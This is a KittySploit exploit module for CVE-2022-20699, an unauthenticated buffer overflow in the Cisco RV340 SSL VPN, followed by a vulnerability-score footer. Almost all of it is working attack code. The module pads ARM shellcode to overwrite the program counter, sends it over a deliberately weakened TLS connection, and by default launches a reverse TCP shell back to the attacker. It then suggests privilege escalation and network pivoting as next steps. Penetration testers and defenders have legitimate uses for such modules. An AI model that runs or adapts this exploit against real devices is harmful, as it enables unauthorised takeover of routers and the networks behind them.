Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# CVE-2022-20699 — Cisco RV340 SSL VPN RCE (Flashback / Metasploit-aligned).
import secrets
import socket
import ssl
import string
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
_PATH_JUNK = 0x86
_BODY_TOTAL = 16404
_PRE_PAD = 16400
_THUMB_PC = b"\x99\xed\x4a\x70"
_LOGIN_MARKER = "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server"
_ALPHA = string.ascii_letters + string.digits
__info__ = {
"name": "Cisco RV340 SSL VPN unauthenticated RCE (CVE-2022-20699)",
"description": (
"Stack buffer overflow in SSL VPN. Sends ``self.payload`` bytes (ARM stager, "
"optionally encoded by the framework) padded to Metasploit layout, over TLS."
),
"author": [
"Pedro Ribeiro",
"Radek Domanski",
"Flashback Team",
"KittySploit Team",
],
"cve": ["CVE-2022-20699"],
"arch": [Arch.ARM],
"platform": Platform.LINUX,
"references": [
"https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md",
"https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html",
],
"payload": {
"default": "payloads/singles/cmd/armle/reverse_tcp",
"arch": Arch.ARM,
"platform": Platform.LINUX,
"category": PayloadCategory.CMD,
},
"tags": ["cisco", "rv340", "sslvpn", "router", "rce"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
port = OptPort(8443, "HTTPS port", True)
ssl = OptBool(True, "HTTPS", True)
@staticmethod
def _as_bytes(raw) -> bytes:
if raw is None:
return b""
if isinstance(raw, bytes):
return raw
if isinstance(raw, bytearray):
return bytes(raw)
if isinstance(raw, str):
return raw.encode("latin-1", errors="replace")
return bytes(raw)
def _full_body(self, shellcode: bytes) -> bytes:
if len(shellcode) > self._PRE_PAD:
raise ValueError("payload bytes larger than exploit buffer (16400 bytes before PC)")
pad = self._PRE_PAD - len(shellcode)
filler = "".join(secrets.choice(self._ALPHA) for _ in range(pad)).encode("latin-1")
return shellcode + filler + self._THUMB_PC
def _tls_socket(self, host: str, port: int):
raw = socket.create_connection((host, int(port)), timeout=15)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.minimum_version = ssl.TLSVersion.TLSv1
except Exception:
pass
try:
ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
except Exception:
pass
for spec in ("DEFAULT:@SECLEVEL=0", "ALL:@SECLEVEL=0"):
try:
ctx.set_ciphers(spec)
break
except Exception:
continue
return ctx.wrap_socket(raw, server_hostname=host)
def check(self):
try:
r = self.http_request(method="GET", path="/login.html", timeout=12, allow_redirects=True)
if r and r.status_code == 200 and self._LOGIN_MARKER in (r.text or ""):
return {
"vulnerable": True,
"reason": "SSL VPN login page fingerprint (CVE-2022-20699 family)",
"confidence": "high",
}
except Exception as exc:
return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
return {"vulnerable": False, "reason": "SSL VPN fingerprint not matched", "confidence": "low"}
def run(self):
if not str(self.target or "").strip():
print_error("target is required")
return False
sc = self._as_bytes(self.payload)
if not sc:
print_error("No payload bytes — set payload (e.g. payloads/singles/cmd/armle/reverse_tcp) and options")
return False
try:
lh, lp = str(self.lhost), int(self.lport)
if lh.strip() in ("127.0.0.1", "::1", "0.0.0.0"):
print_warning("lhost is loopback — the router must reach your real listener IP")
print_info(f"Using framework payload: {len(sc)} bytes → listener {lh}:{lp}")
except Exception:
print_info(f"Using framework payload: {len(sc)} bytes")
rhost = str(self.target).strip()
rport = int(self.port)
try:
body = self._full_body(sc)
except Exception as exc:
print_error(str(exc))
return False
if len(body) != self._BODY_TOTAL:
print_error(f"body length {len(body)}, expected {self._BODY_TOTAL}")
return False
tag = "".join(secrets.choice(self._ALPHA) for _ in range(self._PATH_JUNK))
header = f"POST /{tag} HTTP/1.1\r\nContent-Length: {self._BODY_TOTAL}\r\n\r\n".encode()
try:
tls = self._tls_socket(rhost, rport)
except Exception as exc:
print_error(f"TLS to {rhost}:{rport} failed: {exc}")
self.not_vulnerable()
return False
try:
tls.sendall(header)
tls.sendall(body)
print_success(f"Sent exploit ({len(header) + len(body)} bytes) — retry if no shell (stack slot ~65%)")
self.vulnerable()
return True
except Exception as exc:
print_error(str(exc))
self.not_vulnerable()
return False
finally:
try:
tls.close()
except Exception:
pass
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10 Jul 2026 11:31Current
9Critical risk
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CVSS 3.19.8 - 10
CVSS 210
EPSS0.72458
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